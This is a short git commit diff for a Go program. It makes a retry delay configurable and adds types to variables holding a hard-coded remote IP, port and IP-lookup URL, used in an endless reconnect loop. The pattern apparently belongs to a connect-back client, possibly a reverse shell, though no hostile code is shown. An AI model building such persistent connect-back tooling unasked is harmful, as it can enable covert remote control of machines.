Allow configuring timeout rate
This commit is contained in:
parent
478a300174
commit
38db0c030d
9
main.go
9
main.go
|
@ -16,9 +16,10 @@ import (
|
|||
)
|
||||
|
||||
var (
|
||||
RemoteIP = "192.168.1.181"
|
||||
RemotePort = "1302"
|
||||
Remote_IP_Requester = "https://ip.bulgariu.xyz"
|
||||
RemoteIP string = "192.168.1.181"
|
||||
RemotePort string = "1302"
|
||||
Remote_IP_Requester string = "https://ip.bulgariu.xyz"
|
||||
TimeoutRate time.Duration = 5
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
@ -27,7 +28,7 @@ func main() {
|
|||
if err := start(); err != nil {
|
||||
log.Print(err)
|
||||
}
|
||||
time.Sleep(time.Second * 5)
|
||||
time.Sleep(time.Second * TimeoutRate)
|
||||
}
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue